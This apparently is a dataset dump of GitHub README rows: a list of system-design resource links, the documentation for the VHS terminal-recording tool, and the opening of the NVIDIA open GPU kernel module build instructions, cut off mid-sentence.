## Event Driven Architectures
- [Martin Fowler- Event Driven Architecture](https://www.youtube.com/watch?v=STKCRSUsyP0)
- [Event Driven Architecture](https://martinfowler.com/articles/201701-event-driven.html)
##
## Software Architectures
- [Hexagonal Architecture](https://netflixtechblog.com/ready-for-changes-with-hexagonal-architecture-b315ec967749)
- [Hexagonal architecture (Alistair Cockburn)](https://alistair.cockburn.us/hexagonal-architecture/)
- [The Clean Code by Robert C. Martin (Uncle Bob)](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html)
- [CQRS](https://martinfowler.com/bliki/CQRS.html)
- [DomainDrivenDesign](https://martinfowler.com/bliki/DomainDrivenDesign.html)
##
## Microservices
- [Monolith Architecture](https://buttercms.com/books/microservices-for-startups/should-you-always-start-with-a-monolith/)
- [Monoliths vs Microservices](https://articles.microservices.com/monolithic-vs-microservices-architecture-5c4848858f59)
- [Microservices](http://highscalability.com/blog/2018/4/5/do-you-have-too-many-microservices-five-design-attributes-th.html)
- [Uber Nanoservices antipattern](https://www.youtube.com/watch?v=kb-m2fasdDY)
- [Uber Domain oriented microservice](https://eng.uber.com/microservice-architecture/)
##
## Distributed Transactions consistency Patterns
- [Transactional outbox](https://microservices.io/patterns/data/transactional-outbox.html)
- [SAGAS Long lived transactions (LLTs)](https://www.cs.cornell.edu/andru/cs711/2002fa/reading/sagas.pdf)
##
## Load Balancing
- [Load Balancer with Sticky Sessions](https://stackoverflow.com/questions/10494431/sticky-and-non-sticky-sessions)
- [NetScaler what is load balancing](https://www.netscaler.com/articles/what-is-load-balancing)
- [Nginx Load Balancing](https://www.nginx.com/resources/glossary/load-balancing/)
- [Consistent hashing](https://michaelnielsen.org/blog/consistent-hashing/)
##
## Alerts and Anomaly Detection
- [Outlier Detection](https://towardsdatascience.com/outlier-detection-with-isolation-forest-3d190448d45e)
- [Anomaly Detection](https://towardsdatascience.com/machine-learning-for-anomaly-detection-and-condition-monitoring-d4614e7de770)
- [Uber Real Time Monitoring and Root Cause Analysis Argos](https://eng.uber.com/argos-real-time-alerts/)
- [Microsoft Anomaly Detection](https://www.youtube.com/watch?v=12Xq9OLdQwQ&t=0s)
- [Facebook Data Engineering](https://engineering.fb.com/2016/05/09/core-data/introducing-fblearner-flow-facebook-s-ai-backbone/)
- [LinkedIn Real Time Alerting](https://engineering.linkedin.com/blog/2019/06/smart-alerts-in-thirdeye--linkedins-real-time-monitoring-platfor)
- [LinkedIn Isolation Forests](https://engineering.linkedin.com/blog/2019/isolation-forest)
##
## Distributed Logging
- [Uber Distributed Request Tracing](https://eng.uber.com/distributed-tracing/)
- [Pintrest Logging](https://medium.com/@Pinterest_Engineering/open-sourcing-singer-pinterests-performant-and-reliable-logging-agent-610fecf35566)
- [Google Monitoring Infrastructure](https://www.facebook.com/atscaleevents/videos/959344524420015/)
##
## Metrics and Text Search Engine
- [Facebook real-time text search engine](https://www.facebook.com/watch/?v=432864835468)
- [Elastic Search Time Based Querying](https://www.elastic.co/guide/en/elasticsearch/guide/current/time-based.html)
- [Elastic Search Aggregation](https://www.elastic.co/guide/en/elasticsearch/guide/current/aggregations.html)
##
## Single Point of Failure
- [Avoiding Single Points of Failure](https://medium.com/the-cloud-architect/patterns-for-resilient-architecture-part-3-16e8601c488e)
- [Netflix Multi-Region Availability](https://netflixtechblog.com/active-active-for-multi-regional-resiliency-c47719f6685b)
- [Oracle Single Points of failure](https://docs.oracle.com/cd/E19693-01/819-0992/fjdch/index.html)
- [DNS single point of failure 2004](http://www.tenereillo.com/GSLBPageOfShame.htm)
- [DNS traffic management by Shopify](https://shopify.engineering/introduction-dns-traffic-management)
- [Sharding](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
##
## Location Based Services
- [Google S2 library](https://blog.christianperone.com/2015/08/googles-s2-geometry-on-the-sphere-cells-and-hilbert-curve/)
##
## Batch Processing
- [Map Reduce Architecture](https://static.googleusercontent.com/media/research.google.com/en//archive/mapreduce-osdi04.pdf)
##
## Real Time Stream Processing
- [LinkedIn Brooklin- Real-time data streaming](https://engineering.linkedin.com/blog/2019/brooklin-open-source)
- [Netflix Real Time Stream Processing](https://netflixtechblog.com/keystone-real-time-stream-processing-platform-a3ee651812a)
- [KSQLDB for Kafka](https://docs.ksqldb.io/en/latest/operate-and-deploy/how-it-works/)
- [Netflix Psyberg](https://netflixtechblog.com/1-streamlining-membership-data-engineering-at-netflix-with-psyberg-f68830617dd1)
##
## Caching
- [Google Guava Cache](https://github.com/google/guava/wiki/CachesExplained)
- [Caching (See the README)](https://github.com/ben-manes/caffeine/)
- [Caching](http://highscalability.com/blog/2016/1/25/design-of-a-modern-cache.html)
- [Microsoft Caching Guide](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/dn589802(v%3dpandp.10))
- [Caching patterns](https://hazelcast.com/blog/a-hitchhikers-guide-to-caching-patterns/)
##
## Distributed consensus
- [Paxos](http://ifeanyi.co/posts/understanding-consensus/)
- [Raft](https://raft.github.io/)
##
## Authorization
- [Designing an Authorization Model for an Enterprise](https://cerbos.dev/blog/designing-an-authorization-model-for-an-enterprise)
- [The Architectural Patterns of Cloud-native Authorization Systems](https://www.aserto.com/blog/5-laws-cloud-native-authorization)
##
## Content Delivery Network
- [AWS CloudFront CDN with S3](https://aws.amazon.com/blogs/networking-and-content-delivery/amazon-s3-amazon-cloudfront-a-match-made-in-the-cloud/)
##
## Testing Distributed Systems
- [Deterministic Testing](https://www.youtube.com/watch?v=4fFDFbi3toc)
- [TLA+ by Leslie Lamport](https://lamport.azurewebsites.net/tla/tla.html)
- [Jepsen](https://jenpsen.io)
##
## System Design Resources
- [Designing Data-Intensive Applications Book](https://amzn.to/3SyNAOy)
- [WhitePapers](https://interviewready.io/blog/white-papers-worth-reading-for-software-engineers)
- [InterviewReady Videos](https://interviewready.io?source=github)
- [System Design Online Judge](https://interviewready.io/question-list/system-design-judge)
| These are the best resources for System Design on the Internet | cache,fault-tolerance,scalability,system-design | 0 | 12 | 20 | 74 | 0 | 1 | 1 |
charmbracelet/vhs | # VHS
<p>
<img src="https://user-images.githubusercontent.com/42545625/198402537-12ca2f6c-0779-4eb8-a67c-8db9cb3df13c.png#gh-dark-mode-only" width="500" />
<img src="https://user-images.githubusercontent.com/42545625/198402542-a305f669-a05a-4d91-b18b-ca76e72b655a.png#gh-light-mode-only" width="500" />
<br>
<a href="https://github.com/charmbracelet/vhs/releases"><img src="https://img.shields.io/github/release/charmbracelet/vhs.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/github.com/charmbracelet/vhs?tab=doc"><img src="https://godoc.org/github.com/golang/gddo?status.svg" alt="Go Docs"></a>
<a href="https://github.com/charmbracelet/vhs/actions"><img src="https://github.com/charmbracelet/vhs/workflows/build/badge.svg" alt="Build Status"></a>
</p>
Write terminal GIFs as code for integration testing and demoing your CLI tools.
<img alt="Welcome to VHS" src="https://stuff.charm.sh/vhs/examples/neofetch_3.gif" width="600" />
The above example was generated with VHS ([view source](./examples/neofetch/neofetch.tape)).
## Tutorial
To get started, [install VHS](#installation) and create a new `.tape` file.
```sh
vhs new demo.tape
```
Open the `.tape` file with your favorite `$EDITOR`.
```sh
vim demo.tape
```
Tape files consist of a series of [commands](#vhs-command-reference). The commands are
instructions for VHS to perform on its virtual terminal. For a list of all
possible commands see [the command reference](#vhs-command-reference).
```elixir
# Where should we write the GIF?
Output demo.gif
# Set up a 1200x600 terminal with 46px font.
Set FontSize 46
Set Width 1200
Set Height 600
# Type a command in the terminal.
Type "echo 'Welcome to VHS!'"
# Pause for dramatic effect...
Sleep 500ms
# Run the command by pressing enter.
Enter
# Admire the output for a bit.
Sleep 5s
```
Once you've finished, save the file and feed it into VHS.
```sh
vhs demo.tape
```
All done! You should see a new file called `demo.gif` (or whatever you named
the `Output`) in the directory.
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/demo.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/demo.gif">
<img width="600" alt="A GIF produced by the VHS code above" src="https://stuff.charm.sh/vhs/examples/demo.gif">
</picture>
For more examples see the [`examples/`](https://github.com/charmbracelet/vhs/tree/main/examples) directory.
## Installation
> [!NOTE]
> VHS requires [`ttyd`](https://github.com/tsl0922/ttyd) and [`ffmpeg`](https://ffmpeg.org) to be installed and available on your `PATH`.
Use a package manager:
```sh
# macOS or Linux
brew install vhs
# Arch Linux (btw)
pacman -S vhs
# Nix
nix-env -iA nixpkgs.vhs
# Windows using scoop
scoop install vhs
```
Or, use Docker to run VHS directly, dependencies included:
```sh
docker run --rm -v $PWD:/vhs ghcr.io/charmbracelet/vhs <cassette>.tape
```
Or, download it:
* [Packages][releases] are available in Debian and RPM formats
* [Binaries][releases] are available for Linux, macOS, and Windows
Or, just install it with `go`:
```sh
go install github.com/charmbracelet/vhs@latest
```
<details>
<summary>Windows, Debian, Ubuntu, Fedora, RHEL, Void Instructions</summary>
* Debian / Ubuntu
```sh
# Debian/Ubuntu
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://repo.charm.sh/apt/gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/charm.gpg
echo "deb [signed-by=/etc/apt/keyrings/charm.gpg] https://repo.charm.sh/apt/ * *" | sudo tee /etc/apt/sources.list.d/charm.list
# Install ttyd from https://github.com/tsl0922/ttyd/releases
sudo apt update && sudo apt install vhs ffmpeg
```
* Fedora / RHEL
```sh
echo '[charm]
name=Charm
baseurl=https://repo.charm.sh/yum/
enabled=1
gpgcheck=1
gpgkey=https://repo.charm.sh/yum/gpg.key' | sudo tee /etc/yum.repos.d/charm.repo
# Install ttyd from https://github.com/tsl0922/ttyd/releases
sudo yum install vhs ffmpeg
```
* Void
```sh
sudo xbps-install vhs
```
* Windows
```sh
winget install charmbracelet.vhs
# or scoop
scoop install vhs
```
</details>
[releases]: https://github.com/charmbracelet/vhs/releases
## Record Tapes
VHS has the ability to generate tape files from your terminal actions!
To record to a tape file, run:
```bash
vhs record > cassette.tape
```
Perform any actions you want and then `exit` the terminal session to stop
recording. You may want to manually edit the generated `.tape` file to add
settings or modify actions. Then, you can generate the GIF:
```bash
vhs cassette.tape
```
## Publish Tapes
VHS allows you to publish your GIFs to our servers for easy sharing with your
friends and colleagues. Specify which file you want to share, then use the
`publish` sub-command to host it on `vhs.charm.sh`. The output will provide you
with links to share your GIF via browser, HTML, and Markdown.
```bash
vhs publish demo.gif
```
## The VHS Server
VHS has an SSH server built in! When you self-host VHS you can access it as
though it were installed locally. VHS will have access to commands and
applications on the host, so you don't need to install them on your machine.
To start the server run:
```sh
vhs serve
```
<details>
<summary>Configuration Options</summary>
* `VHS_PORT`: The port to listen on (`1976`)
* `VHS_HOST`: The host to listen on (`localhost`)
* `VHS_GID`: The Group ID to run the server as (current user's GID)
* `VHS_UID`: The User ID to run the server as (current user's UID)
* `VHS_KEY_PATH`: The path to the SSH key to use (`.ssh/vhs_ed25519`)
* `VHS_AUTHORIZED_KEYS_PATH`: The path to the authorized keys file (empty, publicly accessible)
</details>
Then, simply access VHS from a different machine via `ssh`:
```sh
ssh vhs.example.com < demo.tape > demo.gif
```
## VHS Command Reference
> [!NOTE]
> You can view all VHS documentation on the command line with `vhs manual`.
There are a few basic types of VHS commands:
* [`Output <path>`](#output): specify file output
* [`Require <program>`](#require): specify required programs for tape file
* [`Set <Setting> Value`](#settings): set recording settings
* [`Type "<characters>"`](#type): emulate typing
* [`Left`](#arrow-keys) [`Right`](#arrow-keys) [`Up`](#arrow-keys) [`Down`](#arrow-keys): arrow keys
* [`Backspace`](#backspace) [`Enter`](#enter) [`Tab`](#tab) [`Space`](#space): special keys
* [`Ctrl[+Alt][+Shift]+<char>`](#ctrl): press control + key and/or modifier
* [`Sleep <time>`](#sleep): wait for a certain amount of time
* [`Hide`](#hide): hide commands from output
* [`Show`](#show): stop hiding commands from output
* [`Screenshot`](#screenshot): screenshot the current frame
* [`Copy/Paste`](#copy--paste): copy and paste text from clipboard.
* [`Source`](#source): source commands from another tape
* [`Env <Key> Value`](#env): set environment variables
### Output
The `Output` command allows you to specify the location and file format
of the render. You can specify more than one output in a tape file which
will render them to the respective locations.
```elixir
Output out.gif
Output out.mp4
Output out.webm
Output frames/ # a directory of frames as a PNG sequence
```
### Require
The `Require` command allows you to specify dependencies for your tape file.
These are useful to fail early if a required program is missing from the
`$PATH`, and it is certain that the VHS execution will not work as expected.
Require commands must be defined at the top of a tape file, before any non-
setting or non-output command.
```elixir
# A tape file that requires gum and glow to be in the $PATH
Require gum
Require glow
```
### Settings
The `Set` command allows you to change global aspects of the terminal, such as
the font settings, window dimensions, and GIF output location.
Setting must be administered at the top of the tape file. Any setting (except
`TypingSpeed`) applied after a non-setting or non-output command will be
ignored.
#### Set Shell
Set the shell with the `Set Shell <shell>` command
```elixir
Set Shell fish
```
#### Set Font Size
Set the font size with the `Set FontSize <number>` command.
```elixir
Set FontSize 10
Set FontSize 20
Set FontSize 40
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/font-size-10.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/font-size-10.gif">
<img width="600" alt="Example of setting the font size to 10 pixels" src="https://stuff.charm.sh/vhs/examples/font-size-10.gif">
</picture>
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/font-size-20.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/font-size-20.gif">
<img width="600" alt="Example of setting the font size to 20 pixels" src="https://stuff.charm.sh/vhs/examples/font-size-20.gif">
</picture>
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/font-size-40.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/font-size-40.gif">
<img width="600" alt="Example of setting the font size to 40 pixels" src="https://stuff.charm.sh/vhs/examples/font-size-40.gif">
</picture>
#### Set Font Family
Set the font family with the `Set FontFamily "<font>"` command
```elixir
Set FontFamily "Monoflow"
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/font-family.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/font-family.gif">
<img width="600" alt="Example of changing the font family to Monoflow" src="https://stuff.charm.sh/vhs/examples/font-family.gif">
</picture>
#### Set Width
Set the width of the terminal with the `Set Width` command.
```elixir
Set Width 300
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/width.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/width.gif">
<img width="300" alt="Example of changing the width of the terminal" src="https://stuff.charm.sh/vhs/examples/width.gif">
</picture>
#### Set Height
Set the height of the terminal with the `Set Height` command.
```elixir
Set Height 1000
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/height.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/height.gif">
<img width="300" alt="Example of changing the height of the terminal" src="https://stuff.charm.sh/vhs/examples/height.gif">
</picture>
#### Set Letter Spacing
Set the spacing between letters (tracking) with the `Set LetterSpacing`
Command.
```elixir
Set LetterSpacing 20
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/letter-spacing.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/letter-spacing.gif">
<img width="600" alt="Example of changing the letter spacing to 20 pixels between characters" src="https://stuff.charm.sh/vhs/examples/letter-spacing.gif">
</picture>
#### Set Line Height
Set the spacing between lines with the `Set LineHeight` Command.
```elixir
Set LineHeight 1.8
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/line-height.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/line-height.gif">
<img width="600" alt="Example of changing the line height to 1.8" src="https://stuff.charm.sh/vhs/examples/line-height.gif">
</picture>
#### Set Typing Speed
```elixir
Set TypingSpeed 500ms # 500ms
Set TypingSpeed 1s # 1s
```
Set the typing speed of seconds per key press. For example, a typing speed of
`0.1` would result in a `0.1s` (`100ms`) delay between each character being typed.
This setting can also be overwritten per command with the `@<time>` syntax.
```elixir
Set TypingSpeed 0.1
Type "100ms delay per character"
Type@500ms "500ms delay per character"
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/typing-speed.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/typing-speed.gif">
<img width="600" alt="Example of using the Type command in VHS" src="https://stuff.charm.sh/vhs/examples/typing-speed.gif">
</picture>
#### Set Theme
Set the theme of the terminal with the `Set Theme` command. The theme value
should be a JSON string with the base 16 colors and foreground + background.
```elixir
Set Theme { "name": "Whimsy", "black": "#535178", "red": "#ef6487", "green": "#5eca89", "yellow": "#fdd877", "blue": "#65aef7", "magenta": "#aa7ff0", "cyan": "#43c1be", "white": "#ffffff", "brightBlack": "#535178", "brightRed": "#ef6487", "brightGreen": "#5eca89", "brightYellow": "#fdd877", "brightBlue": "#65aef7", "brightMagenta": "#aa7ff0", "brightCyan": "#43c1be", "brightWhite": "#ffffff", "background": "#29283b", "foreground": "#b3b0d6", "selection": "#3d3c58", "cursor": "#b3b0d6" }
```
<img alt="Example of changing the theme to Whimsy" src="https://stuff.charm.sh/vhs/examples/theme.gif" width="600" />
You can also set themes by name:
```elixir
Set Theme "Catppuccin Frappe"
```
See the full list by running `vhs themes`, or in [THEMES.md](./THEMES.md).
#### Set Padding
Set the padding (in pixels) of the terminal frame with the `Set Padding`
command.
```elixir
Set Padding 0
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/padding.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/padding.gif">
<img width="600" alt="Example of setting the padding" src="https://stuff.charm.sh/vhs/examples/padding.gif">
</picture>
#### Set Margin
Set the margin (in pixels) of the video with the `Set Margin` command.
```elixir
Set Margin 60
Set MarginFill "#6B50FF"
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://vhs.charm.sh/vhs-1miKMtNHenh7O4sv76TMwG.gif">
<source media="(prefers-color-scheme: light)" srcset="https://vhs.charm.sh/vhs-1miKMtNHenh7O4sv76TMwG.gif">
<img width="600" alt="Example of setting the margin" src="https://vhs.charm.sh/vhs-1miKMtNHenh7O4sv76TMwG.gif">
</picture>
#### Set Window Bar
Set the type of window bar (Colorful, ColorfulRight, Rings, RingsRight) on the terminal window with the `Set WindowBar` command.
```elixir
Set WindowBar Colorful
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://vhs.charm.sh/vhs-4VgviCu38DbaGtbRzhtOUI.gif">
<source media="(prefers-color-scheme: light)" srcset="https://vhs.charm.sh/vhs-4VgviCu38DbaGtbRzhtOUI.gif">
<img width="600" alt="Example of setting the margin" src="https://vhs.charm.sh/vhs-4VgviCu38DbaGtbRzhtOUI.gif">
</picture>
#### Set Border Radius
Set the border radius (in pixels) of the terminal window with the `Set BorderRadius` command.
```elixir
# You'll likely want to add a Margin + MarginFill if you use BorderRadius.
Set Margin 20
Set MarginFill "#674EFF"
Set BorderRadius 10
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://vhs.charm.sh/vhs-4nYoy6IsUKmleJANG7N1BH.gif">
<source media="(prefers-color-scheme: light)" srcset="https://vhs.charm.sh/vhs-4nYoy6IsUKmleJANG7N1BH.gif">
<img width="400" alt="Example of setting the margin" src="https://vhs.charm.sh/vhs-4nYoy6IsUKmleJANG7N1BH.gif">
</picture>
#### Set Framerate
Set the rate at which VHS captures frames with the `Set Framerate` command.
```elixir
Set Framerate 60
```
#### Set Playback Speed
Set the playback speed of the final render.
```elixir
Set PlaybackSpeed 0.5 # Make output 2 times slower
Set PlaybackSpeed 1.0 # Keep output at normal speed (default)
Set PlaybackSpeed 2.0 # Make output 2 times faster
```
#### Set Loop Offset
Set the offset for when the GIF loop should begin. This allows you to make the
first frame of the GIF (generally used for previews) more interesting.
```elixir
Set LoopOffset 5 # Start the GIF at the 5th frame
Set LoopOffset 50% # Start the GIF halfway through
```
#### Set Cursor Blink
Set whether the cursor should blink. Enabled by default.
```elixir
Set CursorBlink false
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://vhs.charm.sh/vhs-3rMCb80VEkaDdTOJMCrxKy.gif">
<source media="(prefers-color-scheme: light)" srcset="https://vhs.charm.sh/vhs-3rMCb80VEkaDdTOJMCrxKy.gif">
<img width="600" alt="Example of setting the cursor blink." src="https://vhs.charm.sh/vhs-3rMCb80VEkaDdTOJMCrxKy.gif">
</picture>
### Type
Use `Type` to emulate key presses. That is, you can use `Type` to script typing
in a terminal. Type is handy for both entering commands and interacting with
prompts and TUIs in the terminal. The command takes a string argument of the
characters to type.
You can set the standard typing speed with [`Set TypingSpeed`](#set-typing-speed)
and override it in places with a `@time` argument.
```elixir
# Type something
Type "Whatever you want"
# Type something really slowly!
Type@500ms "Slow down there, partner."
```
Escape single and double quotes with backticks.
```elixir
Type `VAR="Escaped"`
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/type.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/type.gif">
<img width="600" alt="Example of using the Type command in VHS" src="https://stuff.charm.sh/vhs/examples/type.gif">
</picture>
### Keys
Key commands take an optional `@time` and optional repeat `count` for repeating
the key press every interval of `<time>`.
```
Key[@<time>] [count]
```
#### Backspace
Press the backspace key with the `Backspace` command.
```elixir
Backspace 18
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/backspace.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/backspace.gif">
<img width="600" alt="Example of pressing the Backspace key 18 times" src="https://stuff.charm.sh/vhs/examples/backspace.gif">
</picture>
#### Ctrl
You can access the control modifier and send control sequences with the `Ctrl`
command.
```elixir
Ctrl+R
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/ctrl.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/ctrl.gif">
<img width="600" alt="Example of pressing the Ctrl+R key to reverse search" src="https://stuff.charm.sh/vhs/examples/ctrl.gif">
</picture>
#### Enter
Press the enter key with the `Enter` command.
```elixir
Enter 2
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/enter.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/enter.gif">
<img width="600" alt="Example of pressing the Enter key twice" src="https://stuff.charm.sh/vhs/examples/enter.gif">
</picture>
#### Arrow Keys
Press any of the arrow keys with the `Up`, `Down`, `Left`, `Right` commands.
```elixir
Up 2
Down 2
Left
Right
Left
Right
Type "B"
Type "A"
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/arrow.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/arrow.gif">
<img width="600" alt="Example of pressing the arrow keys to navigate text" src="https://stuff.charm.sh/vhs/examples/arrow.gif">
</picture>
#### Tab
Enter a tab with the `Tab` command.
```elixir
Tab@500ms 2
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/tab.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/tab.gif">
<img width="600" alt="Example of pressing the tab key twice for autocomplete" src="https://stuff.charm.sh/vhs/examples/tab.gif">
</picture>
#### Space
Press the space bar with the `Space` command.
```elixir
Space 10
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/space.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/space.gif">
<img width="600" alt="Example of pressing the space key" src="https://stuff.charm.sh/vhs/examples/space.gif">
</picture>
#### Page Up / Down
Press the Page Up / Down keys with the `PageUp` or `PageDown` commands.
```elixir
PageUp 3
PageDown 5
```
### Sleep
The `Sleep` command allows you to continue capturing frames without interacting
with the terminal. This is useful when you need to wait on something to
complete while including it in the recording like a spinner or loading state.
The command takes a number argument in seconds.
```elixir
Sleep 0.5 # 500ms
Sleep 2 # 2s
Sleep 100ms # 100ms
Sleep 1s # 1s
```
### Hide
The `Hide` command instructs VHS to stop capturing frames. It's useful to pause
a recording to perform hidden commands.
```elixir
Hide
```
This command is helpful for performing any setup and cleanup required to record
a GIF, such as building the latest version of a binary and removing the binary
once the demo is recorded.
```elixir
Output example.gif
# Setup
Hide
Type "go build -o example . && clear"
Enter
Show
# Recording...
Type 'Running ./example'
...
Enter
# Cleanup
Hide
Type 'rm example'
```
### Show
The `Show` command instructs VHS to begin capturing frames, again. It's useful
after a `Hide` command to resume frame recording for the output.
```elixir
Hide
Type "You won't see this being typed."
Show
Type "You will see this being typed."
```
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://stuff.charm.sh/vhs/examples/hide.gif">
<source media="(prefers-color-scheme: light)" srcset="https://stuff.charm.sh/vhs/examples/hide.gif">
<img width="600" alt="Example of typing something while hidden" src="https://stuff.charm.sh/vhs/examples/hide.gif">
</picture>
### Screenshot
The `Screenshot` command captures the current frame (png format).
```elixir
# At any point...
Screenshot examples/screenshot.png
```
### Copy / Paste
The `Copy` and `Paste` copy and paste the string from clipboard.
```elixir
Copy "https://github.com/charmbracelet"
Type "open "
Sleep 500ms
Paste
```
### Env
`Env` command sets the environment variable via key-value pair.
```elixir
Env HELLO "WORLD"
Type "echo $HELLO"
Enter
Sleep 1s
```
### Source
The `source` command allows you to execute commands from another tape.
```elixir
Source config.tape
```
***
## Continuous Integration
You can hook up VHS to your CI pipeline to keep your GIFs up-to-date with
the official VHS GitHub Action:
> [โ๏ธ charmbracelet/vhs-action](https://github.com/charmbracelet/vhs-action)
VHS can also be used for integration testing. Use the `.txt` or `.ascii` output
to generate golden files. Store these files in a git repository to ensure there
are no diffs between runs of the tape file.
```elixir
Output golden.ascii
```
## Syntax Highlighting
Thereโs a tree-sitter grammar for `.tape` files available for editors that
support syntax highlighting with tree-sitter:
> [๐ณ charmbracelet/tree-sitter-vhs](https://github.com/charmbracelet/tree-sitter-vhs)
It works great with Neovim, Emacs, and so on!
## Feedback
Weโd love to hear your thoughts on this project. Feel free to drop us a note!
* [Twitter](https://twitter.com/charmcli)
* [The Fediverse](https://mastodon.social/@charmcli)
* [Discord](https://charm.sh/chat)
## License
[MIT](https://github.com/charmbracelet/vhs/raw/main/LICENSE)
***
Part of [Charm](https://charm.sh).
<a href="https://charm.sh/">
<img
alt="The Charm logo"
width="400"
src="https://stuff.charm.sh/charm-badge.jpg"
/>
</a>
Charm็ญ็ฑๅผๆบ โข Charm loves open source
| Your CLI home video recorder ๐ผ | gif,recording,terminal,video,cli,command-line,ascii,vhs | 11 | 47 | 279 | 636 | 71 | 13 | 5 |
NVIDIA/open-gpu-kernel-modules | # NVIDIA Linux Open GPU Kernel Module Source
This is the source release of the NVIDIA Linux open GPU kernel modules,
version 550.90.07.
## How to Build
To build:
make modules -j$(nproc)
To install, first uninstall any existing NVIDIA kernel modules. Then,
as root:
make modules_install -j$(nproc)
Note that the kernel modules built here must be used with GSP
firmware and user-space NVIDIA GPU driver components from a corresponding
550.90.07 driver release. This can be achieved by installing
the NVIDIA GPU driver from the .run file using the `--no-kernel-modules`
option. E.g.,
sh ./NVIDIA-Linux-[...].run --no-kernel-modules
## Supported Target CPU Architectures
Currently, the kernel modules can be built for x86_64 or aarch64.
If cross-compiling, set these variables on the make command line:
TARGET_ARCH=aarch64|x86_64
CC
LD
AR
CXX
OBJCOPY
E.g.,
# compile on x86_64 for aarch64
make modules -j$(nproc) \
TARGET_ARCH=aarch64 \
CC=aarch64-linux-gnu-gcc \
LD=aarch64-linux-gnu-ld \
AR=aarch64-linux-gnu-ar \
CXX=aarch64-linux-gnu-g++ \
OBJCOPY=aarch64-linux-gnu-objcopy
## Other Build Knobs
NV_VERBOSE - Set this to "1" to print each complete command executed;
otherwise, a succinct "CC" line is printed.
DEBUG - Set this to "1" to build the kernel modules as debug. By default, the
build compiles without debugging information. This also enables
various debug log messages in the kernel modules.
These variables can be set on the make command line. E.g.,
make modules -j$(nproc) NV_VERBOSE=1
## Supported Toolchains
Any reasonably modern version of GCC or Clang can be used to build the
kernel modules. Note that the kernel interface layers of the kernel
modules must be built with the toolchain that was used to build the
kernel.
## Supported Linux Kernel Versions
The NVIDIA open kernel modules support the same range of Linux kernel
versions that are supported with the proprietary NVIDIA kernel modules.
This is currently Linux kernel 3.10 or newer.
## How to Contribute
Contributions can be made by creating a pull request on
https://github.com/NVIDIA/open-gpu-kernel-modules
We'll respond via GitHub.
Note that when submitting a pull request, you will be prompted to accept
a Contributor License Agreement.
This code base is shared with NVIDIA's proprietary drivers, and various
processing is performed on the shared code to produce the source code that is
published here. This has several implications for the foreseeable future:
* The GitHub repository will function mostly as a snapshot of each driver
release.
* We do not expect to be able to provide revision history for individual
changes that were made to NVIDIA's shared code base. There will likely
only be one git commit per driver release.
* We may not be able to reflect individual contributions as separate
git commits in the GitHub repository.
* Because the code undergoes various processing prior to publishing here,
contributions made here require manual merging to be applied to the shared
code base. Therefore, large refactoring changes made here may be difficult to
merge and accept back into the shared code base. If you have large
refactoring to suggest, please contact us in advance, so we can coordinate.
## How to Report Issues
Problems specific to the Open GPU Kernel Modules can be reported in the
